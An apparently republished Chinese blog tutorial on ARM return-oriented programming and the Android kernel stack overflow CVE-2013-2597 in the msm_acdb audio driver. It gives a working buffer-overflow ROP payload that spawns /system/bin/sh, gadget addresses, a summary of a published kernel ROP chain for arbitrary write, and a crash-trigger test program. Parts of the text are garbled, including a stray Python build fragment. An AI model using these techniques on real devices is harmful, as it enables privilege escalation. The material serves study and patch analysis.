胸怀万里世界, 放眼无限未来。这篇文章主要讲述Android内核栈溢出与ROP(CVE-2013-2597)相关的知识,希望能为你提供帮助。
一、准备由于内核栈不可执行(NX),栈溢出利用需用到ROP。简单回顾一下ARM ROP。
漏洞演示代码如下,网上随便找了个。
char *str="/system/bin/sh";
void callsystem()
{
system("id");
}void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}int main(int argc, char** argv) {
if (argc == 2 &
&
strcmp("passwd", argv[1]) == 0)
callsystem();
write(STDOUT_FILENO, "Hello, World
", 13);
vulnerable_function();
}
vulnerable_function函数使用read从标准输入读数据到buf缓冲区,未校验拷贝长度导致栈溢出。分析其汇编代码:
.text:000083BC vulnerable_function;
CODE XREF: main+68p
.text:000083BC
.text:000083BC buf= -0x84
.text:000083BC
.text:000083BCSTMFDSP!, {R11,LR}
.text:000083C0ADDR11, SP, #4
.text:000083C4SUBSP, SP, #0x80
.text:000083C8SUBR3, R11, #-buf
.text:000083CCMOVR0, #0;
fd
.text:000083D0MOVR1, R3;
buf
.text:000083D4MOVR2, #0x100;
nbytes
.text:000083D8BLread
.text:000083DCSUBSP, R11, #4
.text:000083E0LDMFDSP!, {R11,PC}
.text:000083E0 ;
End of function vulnerable_function
首先LR,R11寄存器压栈,接着分配0x80即128字节的buf栈缓冲区。R3指向buf缓冲区底部。分别通过R0,R1,R2传递3个参数,(0, buf, 0x100【256】),调用read函数。最后恢复R11,并将函数开始时压栈的LR(保存的返回地址)弹出到PC。
其栈结构如下:
高LR : 4Bytes|R11 : 4Bytes低buf : 128Bytes
因此通过 132*‘A’ + addr 即可修改LR为addr,即而控制PC寄存器。我们的exploit目标是通过system(“/system/bin/sh”)返回一个shell。
system()地址,与“/system/bin/sh”字符串地址都可以找到。但system()参数是id,需要修改R0寄存器,指向“/system/bin/sh”地址。
.text:000083A8ADDR3, PC, R3 ;
aId ;
"id"
.text:000083ACMOVR0, R3;
r0指向"id",目标是修改为指向"/system/bin/sh"
.text:000083B0BLsystem
下面分析如何查找Gadgets。目前为止,我们能通过溢出控制程序的栈,要修改R0寄存器的值,我们需要
ldr r0
或
mov r0, sp + #xxx
类似的指令,来从栈上取值。当然这里考虑的是简单情况,像
ldr r2
,mov r0, r2
等多条指令的组合都是符合要求的,我们使用ROPGadgets工具来查找Gadgets:https://github.com/JonathanSalwan/ROPgadget注意的是,我们的程序编译的是Thumb指令集,需要查找Thumb的Gadgets:
[email
protected]:~/android_prj/ROP$ ROPgadget --binary=./bufferoverflow --thumb |grep "ldr r0, [sp, "
...
0x00008a02 : ldr r0, [sp, #0xc] ;
add sp, #0x14 ;
pop {pc}
0x000091c2 : ldr r0, [sp, #0xc] ;
add sp, #0x14 ;
pop {pc} ;
push {r3, lr} ;
bl #0x91be ;
pop {r3, pc}
0x00008872 : ldr r0, [sp, #0xc] ;
adds r1, r4, #0 ;
ldr r3, [r4, #0x10] ;
blx r3
...
[email
protected]:~/Android_prj/ROP$
下面是找到符合要求的Gadgets,它符合要求的原因是1)是可以通过栈上的值(sp, #0xc)修改r0寄存器。2)是可以利用栈上值进行程序跳转(pop {pc}):
0x00008a02 : ldr r0, [sp, #0xc] ;
add sp, #0x14 ;
pop {pc}
接下来利用它,来布局我们控制的栈,完成利用。
找到“/system/bin/sh”与system地址:
.rodata:00009780 aSystemBinShDCB "/system/bin/sh",0
.plt:00008494 ;
int system(const char *)
.plt:00008494 system;
CODE XREF: sub_94C4:loc_94C8j
.plt:00008494ADRR12, 0x849C
.plt:00008498ADDR12, R12, #0x2000
.plt:0000849CLDRPC, [R12,#(system_ptr - 0xA49C)]! ;
__imp_system
plt是ELF的延迟绑定,其指令为ARM的,因此system函数地址为0x00008494 ,“/system/bin/sh”是Thumb下的地址需加1:0x00009781
看下溢出时,如何布局栈:
文章图片
PoC构造如下:
*** ’A’x132 + 0x00008a03 + ’A’x12 + 0x00009781 + ’A’x4 + 0x00008494 ***
3处地址分别是:gadget addr , r0(system 参数), systemaddr
以下简单回顾完ARM上的ROP过程,与x86差不多,不过要注意处理Thumb还是ARM指令集。下面就分析CVE-2013-2597这个洞的exploit.
二、漏洞原理CVE-2013-2597是一个内核态copy_from_user的栈溢出,拷贝长度size参数由用户态arg传入,且只校验了它非负,当传入大于MAX_IOCTL_DATA的值时,acdb_ioctl函数栈溢出。
uint32_tdata[MAX_IOCTL_DATA];
...
if (copy_from_user(&
size, (void *) arg, sizeof(size))) {result = -EFAULT;
goto done;
}
...
if (size <
= 0) {
pr_err("%s: Invalid size sent to driver: %d
",
__func__, size);
result = -EFAULT;
goto done;
}
...
if (copy_from_user(data, (void *)(arg + sizeof(size)), size)) {pr_err("%s: fail to copy table size %d
", __func__, size);
result = -EFAULT;
goto done;
}
Patch很简单,只需校验用户传入长度小于data缓冲区大小:
if ((size <
= 0) || (size >
sizeof(data))) {
pr_err("%s: Invalid size sent to driver: %d
",
__func__, size);
result = -EFAULT;
goto done;
}
三、漏洞利用战略性放弃。。网上只有fi01的利用介绍,但调试发现其汇编与我在Nexus 5上撸下来的内核里面的不一致,差异太大目前写不出相应的exploit。中文只有莫灰灰与申迪两篇,都是直接照抄翻译fi01的。
但还是可以简单学习下,其思路。
首先在代码中没有发现Canary,福音 :-p
通过构造一个全0的data数据,可以从内核crach log中得到寄存器的值 (/proc/last_kmsg)。
<
3>
[348.770486] ACDB=>
ACDB ioctl not found!
<
1>
[348.770547] Unable to handle kernel NULL pointer dereference at virtual address 0000009c
<
1>
[348.770608] pgd = df18c000
<
1>
[348.770639] [0000009c] *pgd=9b727831, *pte=00000000, *ppte=00000000
<
0>
[348.770700] Internal error: Oops: 80000007 [#1] PREEMPT SMP
<
4>
[348.770761] Modules linked in:
<
4>
[348.770791] CPU: 0Not tainted(3.0.8 #1)
<
4>
[348.770853] PC is at 0x9c
<
4>
[348.770883] LR is at acdb_ioctl+0x740/0x860
<
4>
[348.770944] pc : [<
0000009c>
]lr : [<
c0137658>
]psr: 60000013
<
4>
[348.770944] sp : ce513f28ip : 00000000fp : 00000098
<
4>
[348.771005] r10: 00000094r9 : 00000090r8 : 0000008c
<
4>
[348.771066] r7 : 00000088r6 : 00000084r5 : 00000080r4 : 0000007c
<
4>
[348.771097] r3 : 00000000r2 : ce513e74r1 : c0973db8r0 : 00000000
<
4>
[348.771158] Flags: nZCvIRQs onFIQs onMode SVC_32ISA ARMSegment user
首先反汇编do_vfs_ioctl,并观察其返回:
c021d8fc: e2 8d d0 44ADDSP, SP, #0x44
c021d900: e8 bd 83 f0LDMUW[SP], { R4-R9, PC }
它将sp+0x44,并恢复r4-r9和pc值,因此通过布局栈,可以控制这些值,其中r5与r9下面有用。
由以上panic的寄存器值可以发现,只要将栈上pc,即0x9c偏移处覆盖,就可以控制第一跳,跳到下面这里:
c0381b98: e5 89 50 00STRR5, [R9]
c0381b9c: e8 bd 87 f0LDMUW[SP], { R4-R10, PC }
通过设置r5为shellcode地址,r9为内核fsync()符号地址,STR R5, [R9] 可以实现任意地址写的能力,这里非常巧妙的将栈溢出转为更容易利用的任意地址写任意值。
接着通过控制PC完成下一跳,跳到:
c0231b98: e2 8d d0 24ADDSP, SP, #0x24
c0231b9c: e8 bd 83 f0LDMUW[SP], { R4-R9, PC }
这一步
ADD SP, SP, #0x24
为了完成栈平衡。通过下图帮助理解:文章图片
以上完成整个利用过程,并使do_vfs_ioctl正常返回不产生崩溃。
测试中,发现另一处内核Panic,不知道是不是0day?
[24953.996263] Unable to handle kernel paging request at virtual address ffffffee
[24953.996653] pgd = e9870000
[24953.996864] [ffffffee] *pgd=36beb821, *pte=00000000, *ppte=00000000
[24953.999564] Internal error: Oops: 17 [#1] PREEMPT SMP ARM
[24953.999804] CPU: 0Not tainted(3.4.0-gd59db4e #1)
[24954.000206] PC is at ion_free+0x14/0xbc
[24954.000437] LR is at msm_audio_ion_import+0x130/0x1b8
[24954.000659] pc : [<
c04a0340>
]lr : [<
c015c7a4>
]psr: 60000013
[24954.000673] sp : d613fdd0ip : d613fdf0fp : d613fdec
[24954.001240] r10: c122a024r9 : ed3793a0r8 : 00000000
[24954.001625] r7 : 00000000r6 : c0e0fab4r5 : c13a8cb0r4 : c13a8cac
[24954.001844] r3 : 19761abcr2 : 19761abcr1 : ffffffear0 : dca15b00
[24954.002239] Flags: nZCvIRQs onFIQs onMode SVC_32ISA ARMSegment user
[24954.002630] Control: 10c5787dTable: 31c7006aDAC: 00000015
测试代码:
#define OVERFLOW_BUFFER_SIZE0xc0struct acdb_ioctl {
unsigned int size;
char data[OVERFLOW_BUFFER_SIZE];
};
int test1()
{
const char *device_name = "/dev/msm_acdb";
struct acdb_ioctl arg;
int fd;
int ret;
fd = open(device_name, O_RDONLY);
if (fd <
0) {
printf("failed to open %s due to %s.
", device_name, strerror(errno));
return -1;
}arg.size = sizeof arg.data;
memset(&
arg.data, 0x0, arg.size);
ret = ioctl(fd, 9999, &
arg);
close(fd);
return 0;
}
四、参考
- https://www.codeaurora.org/news/security-advisories/stack-based-buffer-overflow-acdb-audio-driver-cve-2013-2597
- https://gist.github.com/fi01/6097436
- https://gist.github.com/fi01/5857693
- http://retme.net/index.php/2014/03/31/CVE-2013-2597-acdb.html
解决办法:
1-安装sqlite3
sudo apt-get install libsqlite3-dev
2-重新编译安装Pyton
进入解压的python 2.7.6目录
./configure --enable-loadable-sqlite-extensions
make
make install
2)ROPgadget –binary=./bufferoverflow –thumb |grep “ldr r0” 找不到Gadgets
【Android内核栈溢出与ROP(CVE-2013-2597)】上面ROP回顾,开始直接使用arm-linux-androideabi-gcc交叉编译的,遇到这个问题。但使用ndk-build就OK了。原因没分析。
推荐阅读
- ANDROID init进程
- Android: protecting the kernel
- android_rooting_tools 项目介绍(CVE-2012-4220)
- Android Native Hook技术
- Android全局可调试(ro.debuggable = 1)的一种另类改法
- UI“三重天”之appium
- springboot使用遇到问题(Class “model.Address” is listed in the persistence.xml file but not mapped)
- Appium移动端自动化测试之测试应用实战
- poj3321-Apple Tree(DFS序+树状数组)